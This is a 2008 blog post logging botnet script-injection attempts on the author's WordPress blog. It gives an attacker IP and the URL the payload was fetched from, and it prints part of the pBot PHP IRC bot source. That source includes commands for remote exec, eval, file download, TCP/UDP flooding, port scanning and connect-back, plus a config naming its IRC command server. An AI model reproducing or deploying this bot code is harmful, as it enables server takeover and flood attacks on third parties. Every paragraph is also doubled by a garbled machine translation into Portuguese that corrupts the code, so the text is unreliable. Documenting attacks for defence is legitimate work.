Daily Hacking Attemps on blog.kakkoi.net - Feb 6th, 2008 Diário Hacking Attemps em blog.kakkoi.net - 6 de Fevereiro de 2008

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release . Hoje, a atualização a partir de nós apenas WordPress 2.3.2 a 2.3.3 libertação de segurança. There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓. Há 21 ataque (script injectáveis) a partir de 3 blog.kakkoi.net conhecido bot-Herder scripts ↓. The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?). O primeiro é do atacante 212.24.62.200 → udkado.ru encobrir as suas useragent Googlebot (um verdadeiro homem?). The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/. Foram brincar com a minha página de redirecionamento 302.curie blog.kakkoi.net / uri /. I send the attacker data to abuse network and IronPort. Eu o atacante enviar dados ao abuso das redes e da IronPort.

The next few hours we received 20 attack from the same bot-herder. As próximas horas, recebemos 20 ataque a partir da mesma bot-Herder. They probably has a large scale of DDNS (china → korea → us ). Eles provavelmente tem uma larga escala de DDNS (china → → korea nós). Noticeably the scans pattern is predictable. Notavelmente os scans padrão é previsível. From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL. Do nosso ponto de 5 de Fevereiro atacar todos estes botnet pesquisa tem como alvo alguns palavras-chave de segurança, uma injeção para que setup pote de mel direito a esse URL em particular.

Hacking Attempts on Kakkoi Hacking tentativas em Kakkoi

Sort by Injection type. Classificar por tipo de injecção.

The Bot-herder Host O Bot-Herder Host

Part of class pBot source taken from http://basiclifesaving.org/mycomments/rom.txt Parte da classe pBot fonte tomada de http://basiclifesaving.org/mycomments/rom.txt

 <? /*  *  * #crew@corp. / * * * # @ Tripulação corp. since 2003  * edited by: devil__ <admin@xdevil.org>  *  * COMMANDS:  *  * .user <password> //login to the bot  * .logout //logout of the bot  * .die //kill the bot  * .restart //restart the bot  * .mail <to> <from> <subject> <msg> //send an email  * .dns <IP|HOST> //dns lookup  * .download <URL> <filename> //download a file  * .exec <cmd> // uses exec() //execute a command  * .sexec <cmd> // uses shell_exec() //execute a command  * .cmd <cmd> // uses popen() //execute a command  * .info //get system information  * .php <php code> // uses eval() //execute php code  * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack  * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack  * .raw <cmd> //raw IRC command  * .rndnick //change nickname  * .pscan <host> <port> //port scan  * .safe // test safe_mode (dvl)  * .inbox <to> // test inbox (dvl)  * .conback <ip> <port> // conect back (dvl)  * .uname // return shell's uname using a php function (dvl)  *  */  set_time_limit(0); error_reporting(0); echo "Ok unlocker. We did i!";  class pBot {  var $config = array("server"=>"Bucharest.ro.eu.ultra-chat.org",  "port"=>"6667",  "pass"=>"n",  "prefix"=>"[R]",  "maxrand"=>"4",  "chan"=>"#unlocker",  "chan2"=>"#unlocker",  "key"=>"n",  "modes"=>" p",  "password"=>"n",  "trigger"=>".",  "hostauth"=>"Robert.users.ultra-chat.org" // * for any hostname (remember: /setvhost xdevil.org)  ); * Desde 2003, editado por: devil__ <admin@xdevil.org> * * comandos: * *. <password> usuário / / login com o bot *. logout / / logout do robô *. morrem / / matar o bot *. reiniciar / / reiniciar o bot *. <to> mail <from> <subject> <msg> / / * enviar um e-mail. dns <IP|HOST> / / * dns lookup. <url> <filename> download / / descarregar * um arquivo. <cmd> exec / / usa exec () / / * executar um comando. sexec <cmd> / / usa shell_exec () / / * executar um comando. cmd <cmd> / / usa popen () / / * executar um comando. info / / get sistema de informação *. <php code> php / / usa eval () / / * execute código PHP. tcpflood <target> <packets> <packetsize> <port> <delay> / / tcpflood * ataque. udpflood <target> <packets> <packetsize> <delay> / / * udpflood ataque. cru <cmd> / / IRC cru comando *. rndnick / / * alterar apelido. pscan <host> <port> / / porto * varredura. segura / / teste safe_mode (dvl) *. Cx.entrada <to> / / teste Cx.entrada (dvl) *. conback <ip> <port> / / conect back (dvl) *. uname / / retorno do shell uname usando um php function (dvl) * * / set_time_limit (0); error_reporting (0); echo "Ok unlocker. Fizemo-i!"; classe pBot (var $ config = array ( "server" => "Bucharest.ro.eu. ultra-chat.org "," porto "=>" 6667 "," pass "=>" n "," prefixo "=>"[ R] "," maxrand "=>" 4 "," chan "=> "# unlocker", "chan2 "=>"# unlocker", "chave" => "n", "modos "=>"  p", "password" => "n", "acionar "=>". "," Hostauth "=>" Robert.users.ultra-chat.org "/ / * para qualquer host (lembre-se: / setvhost xdevil.org)); 

Related Posts Posts relacionados

• Daily Hacking Attempts on blog.kakkoi.net - Feb 5th, 2008 Diário Hacking Tentativas sobre blog.kakkoi.net - 5 de fevereiro, 2008
• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Massa remota de código de injecção como o Googlebot - Packet Spoofing Perl bot & Trojan

External Links Ligações externas

• Wikipedia → Botnet Wikipedia → Botnet
• Storm Botnet Storm Botnet
• Dynamic DNS Dynamic DNS